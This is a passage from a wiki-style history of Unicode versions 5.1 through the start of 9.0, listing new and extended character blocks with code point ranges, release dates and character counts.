* Four letters used in Sanskrit (total 4 characters) were added to '''Kannada'''. (U+0CE2-U+0CE3 and U+0CF1-U+0CF2)
* Additional IPA diacritics (total 9 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DC4-U+1DCA)
* Four combining arrows (total 4 characters) were added to '''Combining Diacritical Marks for Symbols'''. (U+20EC-U+20EF)
* A danish symbol and a lowercase turned F (total 2 characters) were added to '''Letterlike Symbols'''. (U+214D-U+214E)
* A lowercase reversed C (ↄ) (total 1 character) was added to '''Number Forms'''. (U+2184)
* Vertical parenthesis, geometric forms and electrical symbols (total 12 characters) were added to '''Miscellaneous Technical'''. (U+23DC-U+23E7)
* A neuter symbol (⚲) (total 1 character) was added to '''Miscellaneous Symbols'''. (U+26B2)
* Four additional mathematical symbols (total 4 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27C7-U+27CA)
* Additional squares, pentagons and hexagons (total 11 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B14-U+2B1A and U+2B20-U+2B23)
* Four additional tone letters used in Chinantec (total 4 characters) were added to '''Modifier Tone Letters'''. (U+A717-U+A71A)
* Bold Digamma (𝟊/'''Ϝ''') (total 2 characters) was added to '''Mathematical Alphanumeric Symbols'''. (U+1D7CA-U+1D7CB)

== Unicode 5.1 ==

Unicode 5.1 was released April 4, 2008. It encoded 100,648 characters, adding 1,624 new characters.

=== New blocks ===

* '''Sundanese''' (U+1B80-U+1BBF), containing 55 letters for Sundanese script, was added.
* '''Lepcha''' (U+1C00-U+1C4F), containing 74 letters for Lepcha script, was added.
* '''Ol Chiki''' (U+1C50-U+1C7F), containing 48 letters for Ol Chiki script, was added.
* '''Cyrillic Extended-A''' (U+2DE0-U+2DFF), containing 32 letters for combining Cyrillic letters, was added.
* '''Vai''' (U+A500-U+A63F), containing 300 letters for Vai script, was added.
* '''Cyrillic Extended-B''' (U+A640-U+A69F), containing 78 letters for additional Cyrillic characters, was added.
* '''Saurashtra''' (U+A880-U+A8DF), containing 81 letters for Saurashtra script, was added.
* '''Kayah Li''' (U+A900-U+A92F), containing 48 letters for Kayah languages, was added.
*  '''Rejang''' (U+A930-U+A95F), containing 37 letters for Rejang script, was added.
* '''Cham''' (U+AA00-U+AA5F), containing 83 letters for Cham script, was added.
* '''Ancient Symbols''' (U+10190-U+101CF), containing 12 characters for weights and measures and other ancient symbols, was added.
* '''Phaistos Disc''' (U+101D0-U+101FF), containing 46 hieroglyphs for Phaistos, was added.
* '''Lycian''' (U+10280-U+1029F), containing 29 letters for Lycian script, was added.
* '''Carian''' (U+102A0-U+102DF), containing 49 letters for Carian script, was added.
* '''Lydian''' (U+10920-U+1093F), containing 27 letters for Lydian script, was added.
* '''Mahjong Tiles''' (U+1F000-U+1F02F), containing 44 mahjong tiles, was added.
* '''Domino Tiles''' (U+1F030-U+1F09F), containing 100 domino tiles, was added.

=== Extended blocks ===

* Archaic letters and capital kai symbol (total 7 characters) were added to '''Greek and Coptic'''. (U+0370-U+0373, U+0375-U+0376 and U+03CF)
* Combining Pokrytie (total 1 character) was added to '''Cyrillic'''. (U+0487)
* Mordvin, Kurdish, Aleut and Chuvash letters (total 16 characters) were added to '''Cyrillic Supplement'''. (U+0514-U+0523)
* Radix symbols, Letterlike, punctuation, Koranic annotation signs and additions for early Persian and Azerbaijani (total 15 characters) were added to '''Arabic'''. (U+0606-U+060A, U+0616-U+061A and U+063B-U+063F)
* Additional letters in Torwali, Burushaski and early Persian (total 18 characters) were added to '''Arabic Supplement'''. (U+076E-U+077F)
* High spacing dot and candra a (total 2 characters) were added to '''Devanagari'''. (U+0971-U+0972)
* Udaat and yakash signs (total 2 characters) were added to '''Gurmukhi'''. (U+0A51 and U+0A75)
* Vocalic rr, l and ll (total 3 characters) were added to '''Oriya'''. (U+0B44 and U+0B62-U+0B63)
* Om symbol (ௐ) (total 1 character) was added to '''Tamil'''. (U+0BD0)
* Avagraha, additional phonetic letters, vocalic l and ll, fractional signs and tuumu (total 13 characters) were added to '''Telugu'''. (U+0C3D, U+0C58-U+0C59, U+0C62-U+0C63 and U+0C78-U+0C7F)
* Avagraha, vocalic rr, l and ll, Malayalam numerics and fractions and chillu letters (total 17 characters) were added to '''Malayalam'''. (U+0D3D, U+0D44, U+0D62-U+0D63, U+0D70-U+0D75 and U+0D79-U+0D7F)
* Letters for Balti and various symbols (total 6 characters) were added to '''Tibetan'''. (U+0F6B-U+0F6C, U+0FCE and U+0FD2-U+0FD4)
* Characters for various languages (total 78 characters) were added to '''Myanmar'''. (U+1022, U+1028, U+102B, U+1033-U+1035, U+103A-U+103F, U+105A-U+1099 and U+109E-U+109F)
* Manchu Ali Gali lha (ᢪ) (total 1 character) was added to '''Mongolian'''. (U+18AA)
* Miscellaneous combining marks (total 28 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DCB-U+1DE6)
* Medievalist latin letters and miscellaneous letters (total 10 characters) were added to '''Latin Extended Additional'''. (U+1E9C-U+1E9F and U+1EFA-U+1EFF)
* Invisible plus (+) (total 1 character) was added to '''General Punctuation'''. (U+2064)
* Combining asterisk above ( ⃰)(total 1 character) was added to '''Combining Diacritical Marks for Symbols'''. (U+20F0)
* Symbol for Samaritan Source (⅏) (total 1 character) was added to '''Letterlike Symbols'''. (U+214F)
* Archaic Roman Numerals (total 4 characters) were added to '''Number Forms'''. (U+2185-U+2188)
* Outlined white star and other signs (total 15 characters) were added to '''Miscellaneous Symbols'''. (U+269D, U+26B3-U+26BC and U+26C0-U+26C3)
* Long division and additional mathematical brackets (total 5 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CC and U+27EC-U+27EF)
* Miscellaneous signs (total 51 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B1B-U+2B1F, U+2B24-U+2B4C, and U+2B50-U+2B54)
* Additional Latin letters (total 12 characters) were added to '''Latin Extended-C'''. (U+2C6D-U+2C6F, U+2C71-U+2C73, and U+2C78-U+2C7D)
* Additional punctuation (total 23 characters) were added to '''Supplemental Punctuation'''. (U+2E18-U+2E1B and U+2E1E-U+2E30)
* Letter ih (ㄭ) (total 1 character) was added to '''Bopomofo'''. (U+312D)
* Other strokes (total 20 characters) were added to '''CJK Strokes'''. (U+31D0-U+31E3)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FBC-U+9FC3)
* Africanist tone letters (total 5 characters) were added to '''Modifier Tone Letters'''. (U+A71B-U+A71F)
* Miscellaneous letters and symbols (total 112 characters) were added to '''Latin Extended-D'''. (U+A722-U+A78C and U+A7FB-U+A7FF)
* Continuous macrons for Coptic (total 3 characters) were added to '''Combining Half Marks'''. (U+FE24-U+FE26)
* Musical symbol multiple measure rest (𝄩) (total 1 character) was added to '''Musical Symbols'''. (U+1D129)

== Unicode 5.2 ==

Unicode 5.2 was released in October 1, 2009. It encoded 107,296 characters, adding 6,648 new characters.

=== New blocks ===

* '''Samaritan''' (U+0800-U+083F), containing 61 letters for Samaritan script, was added.
* '''Unified Canadian Aboriginal Syllabics Extended''' (U+18B0-U+18FF), containing 70 syllables for various Cree languages, was added.
* '''Tai Tham''' (U+1A20-U+1AAF), containing 127 letters for Tai Tham script, was added.
* '''Vedic Extensions''' (U+1CD0-U+1CFF), containing 35 characters for tone marks and signs, was added.
* '''Lisu''' (U+A4D0-U+A4FF), containing 48 letters for Lisu (Fraser) script, was added.
* '''Bamum''' (U+A6A0-U+A6FF), containing 88 letters for Bamum script, was added.
* '''Common Indic Number Forms''' (U+A830-U+A83F), containing 10 fractions and marks, was added.
* '''Devanagari Extended''' (U+A8E0-U+A8FF), containing 28 additional marks, was added.
* '''Hangul Jamo Extended-A''' (U+A960-U+A97F), containing 29 characters for additional old initial consonants in hangul jamo, was added.
* '''Javanese''' (U+A980-U+A9DF), containing 91 letters for Javanese script, was added.
* '''Myanmar Extended-A''' (U+AA60-U+AA7B), containing 28 letters for Khamti Shan in Myanmar, was added.
* '''Tai Viet''' (U+AA80-U+AADF), containing 72 letters for Tai Viet script, was added.
* '''Meetei Mayek''' (U+ABC0-U+ABFF), containing 56 letters for Meetei Mayek script, was added.
* '''Hangul Jamo Extended-B''' (U+D7B0-U+D7FF), containing 72 characters for additional old medieval vowels and final consonants in hangul jamo, was added.
* '''Imperial Aramaic''' (U+10840-U+1085F), containing 31 characters for Old Aramaic, was added.
* '''Old South Arabian''' (U+10A60-U+10A7F), containing 32 letters and numbers for South Arabian, was added.
* '''Avestan''' (U+10B00-U+10B3F), containing 61 characters for Avestan script, was added.
* '''Inscriptional Parthian''' (U+10B40-U+10B5F), containing 30 characters for Inscriptional Parthian script, was added.
* '''Inscriptional Pahlavi''' (U+10B60-U+10B7F), containing 27 characters for Inscriptional Pahlavi script, was added.
* '''Old Turkic''' (U+10C00-U+10C4F), containing 73 characters for Orkhon script, was added.
* '''Rumi Numeral Symbols''' (U+10E60-U+10E7F), containing 31 numeric characters used in Fez, Morocco, and elsewhere in North Africa and the Iberian peninsula, between the tenth and seventeenth centuries, was added.
* '''Kaithi''' (U+11080-U+110CF), containing 66 letters for Kaithi script, was added.
* '''Egyptian Hieroglyphs''' (U+13000-U+1342F), containing 1,071 hieroglyphs for Egyptian, was added.
* '''Enclosed Alphanumeric Supplement''' (U+1F100-U+1F1FF), containing 63 additional circled, parenthesized and squared alphanumerics, was added.
* '''Enclosed Ideographic Supplement''' (U+1F200-U+1F2FF), containing 44 squared and tortoised shell bracketed ideographs, was added.
* '''CJK Unified Ideographs Extension C''' (U+2A700-U+2B73F), containing 4,149 additional Chinese Ideographs, was added.

=== Extended blocks ===

* Abkhaz letters (total 2 characters) were added to '''Cyrillic Supplement'''. (U+0524-U+0525)
* Inverted Candrabindu and additional signs and letters (total 5 characters) were added to '''Devanagari'''. (U+0900, U+094E, U+0955 and U+0979-U+097A)
* Ganda Mark (৻) (total 1 character) was added to '''Bengali'''. (U+09FB)
* Religious svasti signs (total 4 characters) were added to '''Tibetan'''. (U+0FD5-U+0FD8)
* Extensions for Khamti Shan and Alton and Phake (total 4 characters) were added to '''Myanmar'''. (U+109A-U+109D)
* Additional old initial consonants, medival vowels, and old final consonants (total 16 characters) were added to '''Hangul Jamo'''. (U+115A-U+115E, U+11A3-U+11A7 and U+11FA-U+11FF)
* Hyphen and additional syllables (total 10 characters) were added to '''Unified Canadian Aboriginal Syllabics'''. (U+1400 and U+1677-U+167F)
* Letter Sua and Tham Digit One (total 3 characters) were added to '''New Tai Lue'''. (U+19AA-U+19AB and U+19DA)
* Combing Almost Equal to Below ( ᷽) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFD)
* The Live Tournosis, Spesmillo and Tenge signs (total 3 characters) were added to '''Currency Symbols'''. (U+20B6-U+20B8)
* Additional vulgar fractions from ARIB STD B24 (total 4 characters) were added to '''Number Forms'''. (U+2150-U+2152 and U+2189)
* Decimal exponent symbol (⏨) from ARIB STD B24 (total 1 characters) was added to '''Miscellaneous Technical'''. (U+23E8)
* A soccer ball and symbols from ARIB STD B24 (total 59 characters) were added to '''Miscellaneous Symbols'''. (U+269E-U+269F, U+26BD-U+26BF, U+26C4-U+26CD, U+26CF-U+26E1, U+26E3 and U+26E8-U+26FF)
* Heavy exclamation mark symbol (❗)  from ARIB STD B24 (total 1 character) was added to '''Dingbats'''. (U+2757)
* Traffic sign, dictionary and map symbols from ARIB STD B24 (total 5 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B55-U+2B59)
* Capital letter turned alpha and additions for Shona (total 3 characters) were added to '''Latin Extended-C'''. (U+2C70 to U+2C7E-U+2C7F)
* Cryptogrammic letters and combining marks (total 7 characters) were added to '''Coptic'''. (U+2CEB-U+2CF1)
* Word separator middle dot (⸱) (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E31)
* Circled ideographs and numbers on black squares from ARIB STD B24 (total 12 characters) were added to '''Enclosed CJK Letters and Months'''. (U+3244-U+324F)
* Miscellaneous additions (total 8 characters) were added to '''CJK Unified Ideographs'''. (U+9FC4-U+9FCB)
* Miscellaneous additions for compatibility (total 3 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA6B-U+FA6D)
* Number two and three (total 2 characters) were added to '''Phoenician'''. (U+1091A-U+1091B)

== Unicode 6.0 ==

Unicode 6.0 was released in October 11, 2010. It encoded 109,384 characters, adding 2,088 new characters.

=== New blocks ===

* '''Mandaic''', containing 29 letters for Mandaic script, was added.
* '''Batak''', containing 56 letters for Batak script, was added.
* '''Ethiopic Extended-A''', containing 32 letters for Gamo-Gofa-Dawro, Basketo and Gumuz Ethiophic syllables, was added.
* '''Brahmi''', containing 108 characters for ancient Brahmi abugida, was added.
* '''Bamum Supplement''', containing 761 letters for additional Bamum script, was added.
* '''Kana Supplement''', containing 2 characters for archaic katakana, was added.
* '''Playing Cards''', containing 59 playing cards, was added.
* '''Miscellaneous Symbols and Pictographs''', containing 529 additional symbols, was added.
* '''Emoticons''', containing 63 faces, cat faces and gesture symbols, was added.
* '''Transport and Map Symbols''', containing 70 transportation, traffic signs and other symbols, was added.
* '''Alchemical Symbols''', containing 116 symbols for elements, was added.
* '''CJK Unified Ideographs Extension D''', containing 222 miscellaneous Han ideographs, was added.

=== Extended blocks ===

* Azerbaijani letters (total 2 characters) were added to '''Cyrillic Supplement'''.
* Kashmiri Yeh and Wavy hamza below (total 2 characters) were added to '''Arabic'''.
* Dependent vowel signs and letters used in Kashmiri and Bihari (total 10 characters) were added to '''Devanagari'''.
* Fraction signs (total 6 characters) were added to '''Oriya'''.
* Letters used in scholarly only and letter dot reph (total 3 characters) were added to '''Malayalam'''.
* Leading and Trailing Mchan Rtags (total 6 characters) were added to '''Tibetan'''.
* Additional combining marks (total 2 characters) were added to '''Ethiopic'''.
* Combining Double Inverted Breve Below (᷼) (total 1 character) was added to '''Combining Diacritical Marks Supplement'''.
* Miscellaneous subscript letters (total 8 characters) were added to '''Superscripts and Subscripts'''.
* Indian Rupee Sign (₹) (total 1 character) was added to '''Currency Symbols'''.
* Pointing double triangle and additional mechanical symbols (total 11 characters) were added to '''Miscellaneous Technical'''.
* Ophiucisus, astronomical symbol for uranus and pentagrams (total 6 characters) were added to '''Miscellaneous Symbols'''.
* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
